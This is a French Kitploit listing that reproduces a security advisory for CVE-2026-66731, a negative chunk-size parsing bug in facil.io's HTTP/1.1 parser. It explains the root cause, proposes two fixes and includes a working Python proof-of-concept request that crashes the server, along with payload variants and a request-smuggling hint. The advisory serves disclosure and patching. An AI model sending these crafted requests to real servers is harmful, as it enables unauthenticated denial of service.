Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash — Avis de sécurité pour CVE-2026-66731 avec analyse des causes racines, exploit PoC et suggestions de correctifs pour le bug du parseur d'encodage par blocs HTTP/1.1 de facil.io. | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeSécurité Web
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

Avis de sécurité pour CVE-2026-66731 avec analyse des causes racines, exploit PoC et suggestions de correctifs pour le bug du parseur d'encodage par blocs HTTP/1.1 de facil.io.

Voir le dépôt
3il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Avis de sécurité : l'analyse d'une taille de chunk négative provoque une corruption mémoire dans facil.io

Identifiant CVE attribué : CVE-2026-66731

Produit : facil.io
Versions concernées : facil.io >= 0.7.5 (0.7.5, 0.7.6, master) ; introduit lorsque le parseur HTTP/1.1 de la branche 0.8.x a été rétroporté dans 0.7.5 - absent des versions 0.6.x et 0.7.0–0.7.3 Composant : lib/facil/http/parsers/http1_parser.h
CWE : CWE-20 (Validation incorrecte des entrées), CWE-682 (Calcul incorrect), CWE-125 (Lecture hors limites)
CVSS v3.1 : 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Chercheur : Theodosis Paidakis


Résumé

Le parseur de l'encodage de transfert en chunks accepte un signe moins en tête dans les valeurs de taille de chunk. http1_atol16 renvoie un long long négatif pour des entrées comme -FFFFFF. Le parseur stocke 0 - chunk_len dans comme sentinelle pour « dans un chunk ». Lorsque est négatif, cette soustraction produit une grande valeur positive, corrompant la machine à états. Un calcul de pointeur ultérieur déplace alors le pointeur de lecture des millions d'octets avant le tampon d'entrée, dans une mémoire non mappée, provoquant le crash du processus. Une seule requête POST non authentifiée suffit.

content_length
chunk_len

Cause racine

Étape 1 : http1_atol16 accepte un signe moins en tête

lib/facil/http/parsers/http1_parser.h, lignes 316-346

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

L'entrée -FFFFFF\r\n produit chunk_len = -16777215LL. La section 4.1 de la RFC 7230 spécifie que les tailles de chunk sont des entiers hexadécimaux non négatifs. Un signe moins en tête n'est pas valide.

Étape 2 : Corruption de la machine à états

lib/facil/http/parsers/http1_parser.h, lignes 681-690

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

Le parseur utilise un content_length négatif comme sentinelle signifiant « lecture du corps d'un chunk en cours ». Avec un content_length positif de +16777215, la machine à états croit lire un corps simple (non encodé par chunk) de 16 Mo.

Étape 3 : Le pointeur recule vers une mémoire non mappée

À l'itération suivante, le parseur calcule :

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

La lecture depuis cette adresse provoque une faute.


Preuve de concept

Démarrez le serveur, puis exécutez :

root@kitploit:~
# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

Sortie ASAN (confirmée) :

root@kitploit:~
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

Effet selon la taille de chunk envoyée :

Taille de chunkcontent_length après corruptionRésultat
-00Corps silencieusement ignoré ; le serveur survit
-1+1Pointeur 1 octet avant le début
-FFFFFF+16777215Pointeur 16 Mo avant le début ; crash
-7FFFFFFF+2147483647Pointeur 2 Go avant le début ; crash

Remarque : le cas -0 (0 - 0 = 0) atteint la branche « corps chunké terminé » et le serveur survit, mais le serveur accepte la requête comme ayant un corps vide, quelles que soient les données qui suivent. Cela peut servir de primitive de contrebande de requêtes (request smuggling) dans les déploiements derrière un proxy où le front-end analyse l'encodage en chunks différemment.


Impact

Une seule requête non authentifiée Transfer-Encoding: chunked avec une taille de chunk négative fait planter le serveur. Toute application acceptant HTTP/1.1 est concernée ; l'encodage par chunk est une fonctionnalité de base du protocole et ne nécessite aucune configuration au niveau applicatif.


Correctif

Chacune des deux approches est suffisante. Privilégiez le correctif 1.

Correctif 1 : rejeter le signe moins en tête dans http1_atol16

lib/facil/http/parsers/http1_parser.h, ligne 322

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

Correctif 2 : valider chunk_len avant utilisation

lib/facil/http/parsers/http1_parser.h, ligne 681

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

Relation avec les correctifs de sécurité antérieurs

Le commit 53caca31 (« Fix atol16 to fix chunked length calculation », déc. 2019) a corrigé la condition de la boucle de détection de dépassement, mais a conservé le code de gestion du signe. Le commit fe847cdf (« fix HTTP/1.1 parser against smuggling attack », mai 2020) traitait les conflits TE/CL (présence à la fois de Transfer-Encoding et de Content-Length). Aucun ne couvre les tailles de chunk négatives.

Télécharger l’outil